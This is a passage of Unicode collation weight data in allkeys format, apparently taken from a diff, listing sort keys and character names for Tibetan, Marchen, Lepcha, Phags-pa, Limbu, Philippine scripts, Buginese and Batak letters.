+0FBC  ; [.2E60.0020.0004][.0000.0111.0004] # TIBETAN SUBJOINED LETTER FIXED-FORM RA
+0F6C  ; [.2E61.0020.0002] # TIBETAN LETTER RRA
+0F63  ; [.2E62.0020.0002] # TIBETAN LETTER LA
+0FB3  ; [.2E63.0020.0002] # TIBETAN SUBJOINED LETTER LA
+0F64  ; [.2E64.0020.0002] # TIBETAN LETTER SHA
+0FB4  ; [.2E65.0020.0002] # TIBETAN SUBJOINED LETTER SHA
+0F65  ; [.2E66.0020.0002] # TIBETAN LETTER SSA
+0FB5  ; [.2E67.0020.0002] # TIBETAN SUBJOINED LETTER SSA
+0F66  ; [.2E68.0020.0002] # TIBETAN LETTER SA
+0FB6  ; [.2E69.0020.0002] # TIBETAN SUBJOINED LETTER SA
+0F67  ; [.2E6A.0020.0002] # TIBETAN LETTER HA
+0FB7  ; [.2E6B.0020.0002] # TIBETAN SUBJOINED LETTER HA
+0F68  ; [.2E6C.0020.0002] # TIBETAN LETTER A
+0F00  ; [.2E6C.0020.0004][.2E83.0020.0004][.0000.00C4.0004] # TIBETAN SYLLABLE OM
+0FB8  ; [.2E6D.0020.0002] # TIBETAN SUBJOINED LETTER A
+0F88  ; [.2E6E.0020.0002] # TIBETAN SIGN LCE TSA CAN
+0F8D  ; [.2E6F.0020.0002] # TIBETAN SUBJOINED SIGN LCE TSA CAN
+0F89  ; [.2E70.0020.0002] # TIBETAN SIGN MCHU CAN
+0F8E  ; [.2E71.0020.0002] # TIBETAN SUBJOINED SIGN MCHU CAN
+0F8C  ; [.2E72.0020.0002] # TIBETAN SIGN INVERTED MCHU CAN
+0F8F  ; [.2E73.0020.0002] # TIBETAN SUBJOINED SIGN INVERTED MCHU CAN
+0F8A  ; [.2E74.0020.0002] # TIBETAN SIGN GRU CAN RGYINGS
+0F8B  ; [.2E75.0020.0002] # TIBETAN SIGN GRU MED RGYINGS
+0F71  ; [.2E76.0020.0002] # TIBETAN VOWEL SIGN AA
+0F72  ; [.2E77.0020.0002] # TIBETAN VOWEL SIGN I
+0F73  ; [.2E78.0020.0002] # TIBETAN VOWEL SIGN II
+0F71 0F72 ; [.2E78.0020.0002] # TIBETAN VOWEL SIGN II
+0F80  ; [.2E79.0020.0002] # TIBETAN VOWEL SIGN REVERSED I
+0F81  ; [.2E7A.0020.0002] # TIBETAN VOWEL SIGN REVERSED II
+0F71 0F80 ; [.2E7A.0020.0002] # TIBETAN VOWEL SIGN REVERSED II
+0F74  ; [.2E7B.0020.0002] # TIBETAN VOWEL SIGN U
+0F75  ; [.2E7C.0020.0002] # TIBETAN VOWEL SIGN UU
+0F71 0F74 ; [.2E7C.0020.0002] # TIBETAN VOWEL SIGN UU
+0F76  ; [.2E7D.0020.0002] # TIBETAN VOWEL SIGN VOCALIC R
+0FB2 0F80 ; [.2E7D.0020.0002] # TIBETAN VOWEL SIGN VOCALIC R
+0F77  ; [.2E7E.0020.0002] # TIBETAN VOWEL SIGN VOCALIC RR
+0FB2 0F71 0F80 ; [.2E7E.0020.0002] # TIBETAN VOWEL SIGN VOCALIC RR
+0FB2 0F81 ; [.2E7E.0020.0002] # TIBETAN VOWEL SIGN VOCALIC RR
+0F78  ; [.2E7F.0020.0002] # TIBETAN VOWEL SIGN VOCALIC L
+0FB3 0F80 ; [.2E7F.0020.0002] # TIBETAN VOWEL SIGN VOCALIC L
+0F79  ; [.2E80.0020.0002] # TIBETAN VOWEL SIGN VOCALIC LL
+0FB3 0F71 0F80 ; [.2E80.0020.0002] # TIBETAN VOWEL SIGN VOCALIC LL
+0FB3 0F81 ; [.2E80.0020.0002] # TIBETAN VOWEL SIGN VOCALIC LL
+0F7A  ; [.2E81.0020.0002] # TIBETAN VOWEL SIGN E
+0F7B  ; [.2E82.0020.0002] # TIBETAN VOWEL SIGN EE
+0F7C  ; [.2E83.0020.0002] # TIBETAN VOWEL SIGN O
+0F7D  ; [.2E84.0020.0002] # TIBETAN VOWEL SIGN OO
+0F84  ; [.2E85.0020.0002] # TIBETAN MARK HALANTA
+11C72 ; [.2E86.0020.0002] # MARCHEN LETTER KA
+11C92 ; [.2E87.0020.0002] # MARCHEN SUBJOINED LETTER KA
+11C73 ; [.2E88.0020.0002] # MARCHEN LETTER KHA
+11C93 ; [.2E89.0020.0002] # MARCHEN SUBJOINED LETTER KHA
+11C74 ; [.2E8A.0020.0002] # MARCHEN LETTER GA
+11C94 ; [.2E8B.0020.0002] # MARCHEN SUBJOINED LETTER GA
+11C75 ; [.2E8C.0020.0002] # MARCHEN LETTER NGA
+11C95 ; [.2E8D.0020.0002] # MARCHEN SUBJOINED LETTER NGA
+11C76 ; [.2E8E.0020.0002] # MARCHEN LETTER CA
+11C96 ; [.2E8F.0020.0002] # MARCHEN SUBJOINED LETTER CA
+11C77 ; [.2E90.0020.0002] # MARCHEN LETTER CHA
+11C97 ; [.2E91.0020.0002] # MARCHEN SUBJOINED LETTER CHA
+11C78 ; [.2E92.0020.0002] # MARCHEN LETTER JA
+11C98 ; [.2E93.0020.0002] # MARCHEN SUBJOINED LETTER JA
+11C79 ; [.2E94.0020.0002] # MARCHEN LETTER NYA
+11C99 ; [.2E95.0020.0002] # MARCHEN SUBJOINED LETTER NYA
+11C7A ; [.2E96.0020.0002] # MARCHEN LETTER TA
+11C9A ; [.2E97.0020.0002] # MARCHEN SUBJOINED LETTER TA
+11C7B ; [.2E98.0020.0002] # MARCHEN LETTER THA
+11C9B ; [.2E99.0020.0002] # MARCHEN SUBJOINED LETTER THA
+11C7C ; [.2E9A.0020.0002] # MARCHEN LETTER DA
+11C9C ; [.2E9B.0020.0002] # MARCHEN SUBJOINED LETTER DA
+11C7D ; [.2E9C.0020.0002] # MARCHEN LETTER NA
+11C9D ; [.2E9D.0020.0002] # MARCHEN SUBJOINED LETTER NA
+11C7E ; [.2E9E.0020.0002] # MARCHEN LETTER PA
+11C9E ; [.2E9F.0020.0002] # MARCHEN SUBJOINED LETTER PA
+11C7F ; [.2EA0.0020.0002] # MARCHEN LETTER PHA
+11C9F ; [.2EA1.0020.0002] # MARCHEN SUBJOINED LETTER PHA
+11C80 ; [.2EA2.0020.0002] # MARCHEN LETTER BA
+11CA0 ; [.2EA3.0020.0002] # MARCHEN SUBJOINED LETTER BA
+11C81 ; [.2EA4.0020.0002] # MARCHEN LETTER MA
+11CA1 ; [.2EA5.0020.0002] # MARCHEN SUBJOINED LETTER MA
+11C82 ; [.2EA6.0020.0002] # MARCHEN LETTER TSA
+11CA2 ; [.2EA7.0020.0002] # MARCHEN SUBJOINED LETTER TSA
+11C83 ; [.2EA8.0020.0002] # MARCHEN LETTER TSHA
+11CA3 ; [.2EA9.0020.0002] # MARCHEN SUBJOINED LETTER TSHA
+11C84 ; [.2EAA.0020.0002] # MARCHEN LETTER DZA
+11CA4 ; [.2EAB.0020.0002] # MARCHEN SUBJOINED LETTER DZA
+11C85 ; [.2EAC.0020.0002] # MARCHEN LETTER WA
+11CA5 ; [.2EAD.0020.0002] # MARCHEN SUBJOINED LETTER WA
+11C86 ; [.2EAE.0020.0002] # MARCHEN LETTER ZHA
+11CA6 ; [.2EAF.0020.0002] # MARCHEN SUBJOINED LETTER ZHA
+11C87 ; [.2EB0.0020.0002] # MARCHEN LETTER ZA
+11CA7 ; [.2EB1.0020.0002] # MARCHEN SUBJOINED LETTER ZA
+11C88 ; [.2EB2.0020.0002] # MARCHEN LETTER -A
+11C89 ; [.2EB3.0020.0002] # MARCHEN LETTER YA
+11CA9 ; [.2EB4.0020.0002] # MARCHEN SUBJOINED LETTER YA
+11C8A ; [.2EB5.0020.0002] # MARCHEN LETTER RA
+11CAA ; [.2EB6.0020.0002] # MARCHEN SUBJOINED LETTER RA
+11C8B ; [.2EB7.0020.0002] # MARCHEN LETTER LA
+11CAB ; [.2EB8.0020.0002] # MARCHEN SUBJOINED LETTER LA
+11C8C ; [.2EB9.0020.0002] # MARCHEN LETTER SHA
+11CAC ; [.2EBA.0020.0002] # MARCHEN SUBJOINED LETTER SHA
+11C8D ; [.2EBB.0020.0002] # MARCHEN LETTER SA
+11CAD ; [.2EBC.0020.0002] # MARCHEN SUBJOINED LETTER SA
+11C8E ; [.2EBD.0020.0002] # MARCHEN LETTER HA
+11CAE ; [.2EBE.0020.0002] # MARCHEN SUBJOINED LETTER HA
+11C8F ; [.2EBF.0020.0002] # MARCHEN LETTER A
+11CAF ; [.2EC0.0020.0002] # MARCHEN SUBJOINED LETTER A
+11CB0 ; [.2EC1.0020.0002] # MARCHEN VOWEL SIGN AA
+11CB1 ; [.2EC2.0020.0002] # MARCHEN VOWEL SIGN I
+11CB2 ; [.2EC3.0020.0002] # MARCHEN VOWEL SIGN U
+11CB3 ; [.2EC4.0020.0002] # MARCHEN VOWEL SIGN E
+11CB4 ; [.2EC5.0020.0002] # MARCHEN VOWEL SIGN O
+1C00  ; [.2EC6.0020.0002] # LEPCHA LETTER KA
+1C01  ; [.2EC7.0020.0002] # LEPCHA LETTER KLA
+1C02  ; [.2EC8.0020.0002] # LEPCHA LETTER KHA
+1C03  ; [.2EC9.0020.0002] # LEPCHA LETTER GA
+1C04  ; [.2ECA.0020.0002] # LEPCHA LETTER GLA
+1C05  ; [.2ECB.0020.0002] # LEPCHA LETTER NGA
+1C06  ; [.2ECC.0020.0002] # LEPCHA LETTER CA
+1C07  ; [.2ECD.0020.0002] # LEPCHA LETTER CHA
+1C08  ; [.2ECE.0020.0002] # LEPCHA LETTER JA
+1C09  ; [.2ECF.0020.0002] # LEPCHA LETTER NYA
+1C4D  ; [.2ED0.0020.0002] # LEPCHA LETTER TTA
+1C4E  ; [.2ED1.0020.0002] # LEPCHA LETTER TTHA
+1C4F  ; [.2ED2.0020.0002] # LEPCHA LETTER DDA
+1C0A  ; [.2ED3.0020.0002] # LEPCHA LETTER TA
+1C0B  ; [.2ED4.0020.0002] # LEPCHA LETTER THA
+1C0C  ; [.2ED5.0020.0002] # LEPCHA LETTER DA
+1C0D  ; [.2ED6.0020.0002] # LEPCHA LETTER NA
+1C0E  ; [.2ED7.0020.0002] # LEPCHA LETTER PA
+1C0F  ; [.2ED8.0020.0002] # LEPCHA LETTER PLA
+1C10  ; [.2ED9.0020.0002] # LEPCHA LETTER PHA
+1C11  ; [.2EDA.0020.0002] # LEPCHA LETTER FA
+1C12  ; [.2EDB.0020.0002] # LEPCHA LETTER FLA
+1C13  ; [.2EDC.0020.0002] # LEPCHA LETTER BA
+1C14  ; [.2EDD.0020.0002] # LEPCHA LETTER BLA
+1C15  ; [.2EDE.0020.0002] # LEPCHA LETTER MA
+1C16  ; [.2EDF.0020.0002] # LEPCHA LETTER MLA
+1C17  ; [.2EE0.0020.0002] # LEPCHA LETTER TSA
+1C18  ; [.2EE1.0020.0002] # LEPCHA LETTER TSHA
+1C19  ; [.2EE2.0020.0002] # LEPCHA LETTER DZA
+1C1A  ; [.2EE3.0020.0002] # LEPCHA LETTER YA
+1C24  ; [.2EE4.0020.0002] # LEPCHA SUBJOINED LETTER YA
+1C1B  ; [.2EE5.0020.0002] # LEPCHA LETTER RA
+1C25  ; [.2EE6.0020.0002] # LEPCHA SUBJOINED LETTER RA
+1C1C  ; [.2EE7.0020.0002] # LEPCHA LETTER LA
+1C1D  ; [.2EE8.0020.0002] # LEPCHA LETTER HA
+1C1E  ; [.2EE9.0020.0002] # LEPCHA LETTER HLA
+1C1F  ; [.2EEA.0020.0002] # LEPCHA LETTER VA
+1C20  ; [.2EEB.0020.0002] # LEPCHA LETTER SA
+1C21  ; [.2EEC.0020.0002] # LEPCHA LETTER SHA
+1C22  ; [.2EED.0020.0002] # LEPCHA LETTER WA
+1C23  ; [.2EEE.0020.0002] # LEPCHA LETTER A
+1C36  ; [.2EEF.0020.0002] # LEPCHA SIGN RAN
+1C26  ; [.2EF0.0020.0002] # LEPCHA VOWEL SIGN AA
+1C27  ; [.2EF1.0020.0002] # LEPCHA VOWEL SIGN I
+1C28  ; [.2EF2.0020.0002] # LEPCHA VOWEL SIGN O
+1C29  ; [.2EF3.0020.0002] # LEPCHA VOWEL SIGN OO
+1C2A  ; [.2EF4.0020.0002] # LEPCHA VOWEL SIGN U
+1C2B  ; [.2EF5.0020.0002] # LEPCHA VOWEL SIGN UU
+1C2C  ; [.2EF6.0020.0002] # LEPCHA VOWEL SIGN E
+1C2D  ; [.2EF7.0020.0002] # LEPCHA CONSONANT SIGN K
+1C2E  ; [.2EF8.0020.0002] # LEPCHA CONSONANT SIGN M
+1C2F  ; [.2EF9.0020.0002] # LEPCHA CONSONANT SIGN L
+1C30  ; [.2EFA.0020.0002] # LEPCHA CONSONANT SIGN N
+1C31  ; [.2EFB.0020.0002] # LEPCHA CONSONANT SIGN P
+1C32  ; [.2EFC.0020.0002] # LEPCHA CONSONANT SIGN R
+1C33  ; [.2EFD.0020.0002] # LEPCHA CONSONANT SIGN T
+1C34  ; [.2EFE.0020.0002] # LEPCHA CONSONANT SIGN NYIN-DO
+1C35  ; [.2EFF.0020.0002] # LEPCHA CONSONANT SIGN KANG
+A840  ; [.2F00.0020.0002] # PHAGS-PA LETTER KA
+A841  ; [.2F01.0020.0002] # PHAGS-PA LETTER KHA
+A842  ; [.2F02.0020.0002] # PHAGS-PA LETTER GA
+A843  ; [.2F03.0020.0002] # PHAGS-PA LETTER NGA
+A844  ; [.2F04.0020.0002] # PHAGS-PA LETTER CA
+A845  ; [.2F05.0020.0002] # PHAGS-PA LETTER CHA
+A846  ; [.2F06.0020.0002] # PHAGS-PA LETTER JA
+A847  ; [.2F07.0020.0002] # PHAGS-PA LETTER NYA
+A869  ; [.2F08.0020.0002] # PHAGS-PA LETTER TTA
+A86A  ; [.2F09.0020.0002] # PHAGS-PA LETTER TTHA
+A86B  ; [.2F0A.0020.0002] # PHAGS-PA LETTER DDA
+A86C  ; [.2F0B.0020.0002] # PHAGS-PA LETTER NNA
+A848  ; [.2F0C.0020.0002] # PHAGS-PA LETTER TA
+A849  ; [.2F0D.0020.0002] # PHAGS-PA LETTER THA
+A84A  ; [.2F0E.0020.0002] # PHAGS-PA LETTER DA
+A84B  ; [.2F0F.0020.0002] # PHAGS-PA LETTER NA
+A84C  ; [.2F10.0020.0002] # PHAGS-PA LETTER PA
+A84D  ; [.2F11.0020.0002] # PHAGS-PA LETTER PHA
+A84E  ; [.2F12.0020.0002] # PHAGS-PA LETTER BA
+A84F  ; [.2F13.0020.0002] # PHAGS-PA LETTER MA
+A850  ; [.2F14.0020.0002] # PHAGS-PA LETTER TSA
+A851  ; [.2F15.0020.0002] # PHAGS-PA LETTER TSHA
+A852  ; [.2F16.0020.0002] # PHAGS-PA LETTER DZA
+A853  ; [.2F17.0020.0002] # PHAGS-PA LETTER WA
+A867  ; [.2F18.0020.0002] # PHAGS-PA SUBJOINED LETTER WA
+A854  ; [.2F19.0020.0002] # PHAGS-PA LETTER ZHA
+A855  ; [.2F1A.0020.0002] # PHAGS-PA LETTER ZA
+A856  ; [.2F1B.0020.0002] # PHAGS-PA LETTER SMALL A
+A857  ; [.2F1C.0020.0002] # PHAGS-PA LETTER YA
+A868  ; [.2F1D.0020.0002] # PHAGS-PA SUBJOINED LETTER YA
+A86D  ; [.2F1E.0020.0002] # PHAGS-PA LETTER ALTERNATE YA
+A858  ; [.2F1F.0020.0002] # PHAGS-PA LETTER RA
+A871  ; [.2F20.0020.0002] # PHAGS-PA SUBJOINED LETTER RA
+A872  ; [.2F21.0020.0002] # PHAGS-PA SUPERFIXED LETTER RA
+A859  ; [.2F22.0020.0002] # PHAGS-PA LETTER LA
+A85A  ; [.2F23.0020.0002] # PHAGS-PA LETTER SHA
+A86E  ; [.2F24.0020.0002] # PHAGS-PA LETTER VOICELESS SHA
+A85B  ; [.2F25.0020.0002] # PHAGS-PA LETTER SA
+A85C  ; [.2F26.0020.0002] # PHAGS-PA LETTER HA
+A86F  ; [.2F27.0020.0002] # PHAGS-PA LETTER VOICED HA
+A870  ; [.2F28.0020.0002] # PHAGS-PA LETTER ASPIRATED FA
+A85D  ; [.2F29.0020.0002] # PHAGS-PA LETTER A
+A862  ; [.2F2A.0020.0002] # PHAGS-PA LETTER QA
+A863  ; [.2F2B.0020.0002] # PHAGS-PA LETTER XA
+A864  ; [.2F2C.0020.0002] # PHAGS-PA LETTER FA
+A865  ; [.2F2D.0020.0002] # PHAGS-PA LETTER GGA
+A85E  ; [.2F2E.0020.0002] # PHAGS-PA LETTER I
+A85F  ; [.2F2F.0020.0002] # PHAGS-PA LETTER U
+A860  ; [.2F30.0020.0002] # PHAGS-PA LETTER E
+A861  ; [.2F31.0020.0002] # PHAGS-PA LETTER O
+A866  ; [.2F32.0020.0002] # PHAGS-PA LETTER EE
+A873  ; [.2F33.0020.0002] # PHAGS-PA LETTER CANDRABINDU
+1900  ; [.2F34.0020.0002] # LIMBU VOWEL-CARRIER LETTER
+1901  ; [.2F35.0020.0002] # LIMBU LETTER KA
+1902  ; [.2F36.0020.0002] # LIMBU LETTER KHA
+1903  ; [.2F37.0020.0002] # LIMBU LETTER GA
+1904  ; [.2F38.0020.0002] # LIMBU LETTER GHA
+1905  ; [.2F39.0020.0002] # LIMBU LETTER NGA
+1906  ; [.2F3A.0020.0002] # LIMBU LETTER CA
+1907  ; [.2F3B.0020.0002] # LIMBU LETTER CHA
+1908  ; [.2F3C.0020.0002] # LIMBU LETTER JA
+191D  ; [.2F3C.0020.0004][.2F5A.0020.0004] # LIMBU LETTER GYAN
+1909  ; [.2F3D.0020.0002] # LIMBU LETTER JHA
+190A  ; [.2F3E.0020.0002] # LIMBU LETTER YAN
+190B  ; [.2F3F.0020.0002] # LIMBU LETTER TA
+191E  ; [.2F3F.0020.0004][.2F5B.0020.0004] # LIMBU LETTER TRA
+190C  ; [.2F40.0020.0002] # LIMBU LETTER THA
+190D  ; [.2F41.0020.0002] # LIMBU LETTER DA
+190E  ; [.2F42.0020.0002] # LIMBU LETTER DHA
+190F  ; [.2F43.0020.0002] # LIMBU LETTER NA
+1910  ; [.2F44.0020.0002] # LIMBU LETTER PA
+1911  ; [.2F45.0020.0002] # LIMBU LETTER PHA
+1912  ; [.2F46.0020.0002] # LIMBU LETTER BA
+1913  ; [.2F47.0020.0002] # LIMBU LETTER BHA
+1914  ; [.2F48.0020.0002] # LIMBU LETTER MA
+1915  ; [.2F49.0020.0002] # LIMBU LETTER YA
+1916  ; [.2F4A.0020.0002] # LIMBU LETTER RA
+1917  ; [.2F4B.0020.0002] # LIMBU LETTER LA
+1918  ; [.2F4C.0020.0002] # LIMBU LETTER WA
+1919  ; [.2F4D.0020.0002] # LIMBU LETTER SHA
+191A  ; [.2F4E.0020.0002] # LIMBU LETTER SSA
+191B  ; [.2F4F.0020.0002] # LIMBU LETTER SA
+191C  ; [.2F50.0020.0002] # LIMBU LETTER HA
+1920  ; [.2F51.0020.0002] # LIMBU VOWEL SIGN A
+1921  ; [.2F52.0020.0002] # LIMBU VOWEL SIGN I
+1922  ; [.2F53.0020.0002] # LIMBU VOWEL SIGN U
+1923  ; [.2F54.0020.0002] # LIMBU VOWEL SIGN EE
+1924  ; [.2F55.0020.0002] # LIMBU VOWEL SIGN AI
+1925  ; [.2F56.0020.0002] # LIMBU VOWEL SIGN OO
+1926  ; [.2F57.0020.0002] # LIMBU VOWEL SIGN AU
+1927  ; [.2F58.0020.0002] # LIMBU VOWEL SIGN E
+1928  ; [.2F59.0020.0002] # LIMBU VOWEL SIGN O
+1929  ; [.2F5A.0020.0002] # LIMBU SUBJOINED LETTER YA
+192A  ; [.2F5B.0020.0002] # LIMBU SUBJOINED LETTER RA
+192B  ; [.2F5C.0020.0002] # LIMBU SUBJOINED LETTER WA
+1930  ; [.2F5D.0020.0002] # LIMBU SMALL LETTER KA
+1931  ; [.2F5E.0020.0002] # LIMBU SMALL LETTER NGA
+1932  ; [.2F5F.0020.0002] # LIMBU SMALL LETTER ANUSVARA
+1933  ; [.2F60.0020.0002] # LIMBU SMALL LETTER TA
+1934  ; [.2F61.0020.0002] # LIMBU SMALL LETTER NA
+1935  ; [.2F62.0020.0002] # LIMBU SMALL LETTER PA
+1936  ; [.2F63.0020.0002] # LIMBU SMALL LETTER MA
+1937  ; [.2F64.0020.0002] # LIMBU SMALL LETTER RA
+1938  ; [.2F65.0020.0002] # LIMBU SMALL LETTER LA
+1700  ; [.2F66.0020.0002] # TAGALOG LETTER A
+1701  ; [.2F67.0020.0002] # TAGALOG LETTER I
+1702  ; [.2F68.0020.0002] # TAGALOG LETTER U
+1703  ; [.2F69.0020.0002] # TAGALOG LETTER KA
+1704  ; [.2F6A.0020.0002] # TAGALOG LETTER GA
+1705  ; [.2F6B.0020.0002] # TAGALOG LETTER NGA
+1706  ; [.2F6C.0020.0002] # TAGALOG LETTER TA
+1707  ; [.2F6D.0020.0002] # TAGALOG LETTER DA
+1708  ; [.2F6E.0020.0002] # TAGALOG LETTER NA
+1709  ; [.2F6F.0020.0002] # TAGALOG LETTER PA
+170A  ; [.2F70.0020.0002] # TAGALOG LETTER BA
+170B  ; [.2F71.0020.0002] # TAGALOG LETTER MA
+170C  ; [.2F72.0020.0002] # TAGALOG LETTER YA
+170E  ; [.2F73.0020.0002] # TAGALOG LETTER LA
+170F  ; [.2F74.0020.0002] # TAGALOG LETTER WA
+1710  ; [.2F75.0020.0002] # TAGALOG LETTER SA
+1711  ; [.2F76.0020.0002] # TAGALOG LETTER HA
+1712  ; [.2F77.0020.0002] # TAGALOG VOWEL SIGN I
+1713  ; [.2F78.0020.0002] # TAGALOG VOWEL SIGN U
+1714  ; [.2F79.0020.0002] # TAGALOG SIGN VIRAMA
+1720  ; [.2F7A.0020.0002] # HANUNOO LETTER A
+1721  ; [.2F7B.0020.0002] # HANUNOO LETTER I
+1722  ; [.2F7C.0020.0002] # HANUNOO LETTER U
+1723  ; [.2F7D.0020.0002] # HANUNOO LETTER KA
+1724  ; [.2F7E.0020.0002] # HANUNOO LETTER GA
+1725  ; [.2F7F.0020.0002] # HANUNOO LETTER NGA
+1726  ; [.2F80.0020.0002] # HANUNOO LETTER TA
+1727  ; [.2F81.0020.0002] # HANUNOO LETTER DA
+1728  ; [.2F82.0020.0002] # HANUNOO LETTER NA
+1729  ; [.2F83.0020.0002] # HANUNOO LETTER PA
+172A  ; [.2F84.0020.0002] # HANUNOO LETTER BA
+172B  ; [.2F85.0020.0002] # HANUNOO LETTER MA
+172C  ; [.2F86.0020.0002] # HANUNOO LETTER YA
+172D  ; [.2F87.0020.0002] # HANUNOO LETTER RA
+172E  ; [.2F88.0020.0002] # HANUNOO LETTER LA
+172F  ; [.2F89.0020.0002] # HANUNOO LETTER WA
+1730  ; [.2F8A.0020.0002] # HANUNOO LETTER SA
+1731  ; [.2F8B.0020.0002] # HANUNOO LETTER HA
+1732  ; [.2F8C.0020.0002] # HANUNOO VOWEL SIGN I
+1733  ; [.2F8D.0020.0002] # HANUNOO VOWEL SIGN U
+1734  ; [.2F8E.0020.0002] # HANUNOO SIGN PAMUDPOD
+1740  ; [.2F8F.0020.0002] # BUHID LETTER A
+1741  ; [.2F90.0020.0002] # BUHID LETTER I
+1742  ; [.2F91.0020.0002] # BUHID LETTER U
+1743  ; [.2F92.0020.0002] # BUHID LETTER KA
+1744  ; [.2F93.0020.0002] # BUHID LETTER GA
+1745  ; [.2F94.0020.0002] # BUHID LETTER NGA
+1746  ; [.2F95.0020.0002] # BUHID LETTER TA
+1747  ; [.2F96.0020.0002] # BUHID LETTER DA
+1748  ; [.2F97.0020.0002] # BUHID LETTER NA
+1749  ; [.2F98.0020.0002] # BUHID LETTER PA
+174A  ; [.2F99.0020.0002] # BUHID LETTER BA
+174B  ; [.2F9A.0020.0002] # BUHID LETTER MA
+174C  ; [.2F9B.0020.0002] # BUHID LETTER YA
+174D  ; [.2F9C.0020.0002] # BUHID LETTER RA
+174E  ; [.2F9D.0020.0002] # BUHID LETTER LA
+174F  ; [.2F9E.0020.0002] # BUHID LETTER WA
+1750  ; [.2F9F.0020.0002] # BUHID LETTER SA
+1751  ; [.2FA0.0020.0002] # BUHID LETTER HA
+1752  ; [.2FA1.0020.0002] # BUHID VOWEL SIGN I
+1753  ; [.2FA2.0020.0002] # BUHID VOWEL SIGN U
+1760  ; [.2FA3.0020.0002] # TAGBANWA LETTER A
+1761  ; [.2FA4.0020.0002] # TAGBANWA LETTER I
+1762  ; [.2FA5.0020.0002] # TAGBANWA LETTER U
+1763  ; [.2FA6.0020.0002] # TAGBANWA LETTER KA
+1764  ; [.2FA7.0020.0002] # TAGBANWA LETTER GA
+1765  ; [.2FA8.0020.0002] # TAGBANWA LETTER NGA
+1766  ; [.2FA9.0020.0002] # TAGBANWA LETTER TA
+1767  ; [.2FAA.0020.0002] # TAGBANWA LETTER DA
+1768  ; [.2FAB.0020.0002] # TAGBANWA LETTER NA
+1769  ; [.2FAC.0020.0002] # TAGBANWA LETTER PA
+176A  ; [.2FAD.0020.0002] # TAGBANWA LETTER BA
+176B  ; [.2FAE.0020.0002] # TAGBANWA LETTER MA
+176C  ; [.2FAF.0020.0002] # TAGBANWA LETTER YA
+176E  ; [.2FB0.0020.0002] # TAGBANWA LETTER LA
+176F  ; [.2FB1.0020.0002] # TAGBANWA LETTER WA
+1770  ; [.2FB2.0020.0002] # TAGBANWA LETTER SA
+1772  ; [.2FB3.0020.0002] # TAGBANWA VOWEL SIGN I
+1773  ; [.2FB4.0020.0002] # TAGBANWA VOWEL SIGN U
+1A00  ; [.2FB5.0020.0002] # BUGINESE LETTER KA
+1A01  ; [.2FB6.0020.0002] # BUGINESE LETTER GA
+1A02  ; [.2FB7.0020.0002] # BUGINESE LETTER NGA
+1A03  ; [.2FB8.0020.0002] # BUGINESE LETTER NGKA
+1A04  ; [.2FB9.0020.0002] # BUGINESE LETTER PA
+1A05  ; [.2FBA.0020.0002] # BUGINESE LETTER BA
+1A06  ; [.2FBB.0020.0002] # BUGINESE LETTER MA
+1A07  ; [.2FBC.0020.0002] # BUGINESE LETTER MPA
+1A08  ; [.2FBD.0020.0002] # BUGINESE LETTER TA
+1A09  ; [.2FBE.0020.0002] # BUGINESE LETTER DA
+1A0A  ; [.2FBF.0020.0002] # BUGINESE LETTER NA
+1A0B  ; [.2FC0.0020.0002] # BUGINESE LETTER NRA
+1A0C  ; [.2FC1.0020.0002] # BUGINESE LETTER CA
+1A0D  ; [.2FC2.0020.0002] # BUGINESE LETTER JA
+1A0E  ; [.2FC3.0020.0002] # BUGINESE LETTER NYA
+1A0F  ; [.2FC4.0020.0002] # BUGINESE LETTER NYCA
+1A10  ; [.2FC5.0020.0002] # BUGINESE LETTER YA
+1A11  ; [.2FC6.0020.0002] # BUGINESE LETTER RA
+1A12  ; [.2FC7.0020.0002] # BUGINESE LETTER LA
+1A13  ; [.2FC8.0020.0002] # BUGINESE LETTER VA
+1A14  ; [.2FC9.0020.0002] # BUGINESE LETTER SA
+1A15  ; [.2FCA.0020.0002] # BUGINESE LETTER A
+1A16  ; [.2FCB.0020.0002] # BUGINESE LETTER HA
+1A17  ; [.2FCC.0020.0002] # BUGINESE VOWEL SIGN I
+1A18  ; [.2FCD.0020.0002] # BUGINESE VOWEL SIGN U
+1A19  ; [.2FCE.0020.0002] # BUGINESE VOWEL SIGN E
+1A1A  ; [.2FCF.0020.0002] # BUGINESE VOWEL SIGN O
+1A1B  ; [.2FD0.0020.0002] # BUGINESE VOWEL SIGN AE
+1BC0  ; [.2FD1.0020.0002] # BATAK LETTER A
+1BC1  ; [.2FD1.0020.0004] # BATAK LETTER SIMALUNGUN A
+1BC2  ; [.2FD2.0020.0002] # BATAK LETTER HA
+1BC3  ; [.2FD2.0020.0004] # BATAK LETTER SIMALUNGUN HA
+1BC4  ; [.2FD2.0020.0004] # BATAK LETTER MANDAILING HA
+1BC5  ; [.2FD3.0020.0002] # BATAK LETTER BA
+1BC6  ; [.2FD3.0020.0004] # BATAK LETTER KARO BA
+1BC7  ; [.2FD4.0020.0002] # BATAK LETTER PA
+1BC8  ; [.2FD4.0020.0004] # BATAK LETTER SIMALUNGUN PA
+1BC9  ; [.2FD5.0020.0002] # BATAK LETTER NA
+1BCA  ; [.2FD5.0020.0004] # BATAK LETTER MANDAILING NA
+1BCB  ; [.2FD6.0020.0002] # BATAK LETTER WA
+1BCC  ; [.2FD6.0020.0004] # BATAK LETTER SIMALUNGUN WA
+1BCD  ; [.2FD6.0020.0004] # BATAK LETTER PAKPAK WA
+1BCE  ; [.2FD7.0020.0002] # BATAK LETTER GA
+1BCF  ; [.2FD7.0020.0004] # BATAK LETTER SIMALUNGUN GA
+1BD0  ; [.2FD8.0020.0002] # BATAK LETTER JA
+1BD1  ; [.2FD9.0020.0002] # BATAK LETTER DA
+1BD2  ; [.2FDA.0020.0002] # BATAK LETTER RA
+1BD3  ; [.2FDA.0020.0004] # BATAK LETTER SIMALUNGUN RA
+1BD4  ; [.2FDB.0020.0002] # BATAK LETTER MA
+1BD5  ; [.2FDB.0020.0004] # BATAK LETTER SIMALUNGUN MA
+1BD6  ; [.2FDC.0020.0002] # BATAK LETTER SOUTHERN TA
+1BD7  ; [.2FDC.0020.0004] # BATAK LETTER NORTHERN TA
+1BD8  ; [.2FDD.0020.0002] # BATAK LETTER SA
+1BD9  ; [.2FDD.0020.0004] # BATAK LETTER SIMALUNGUN SA
+1BDA  ; [.2FDD.0020.0004] # BATAK LETTER MANDAILING SA
+1BDB  ; [.2FDE.0020.0002] # BATAK LETTER YA
+1BDC  ; [.2FDE.0020.0004] # BATAK LETTER SIMALUNGUN YA
+1BDD  ; [.2FDF.0020.0002] # BATAK LETTER NGA
+1BDE  ; [.2FE0.0020.0002] # BATAK LETTER LA
+1BDF  ; [.2FE0.0020.0004] # BATAK LETTER SIMALUNGUN LA
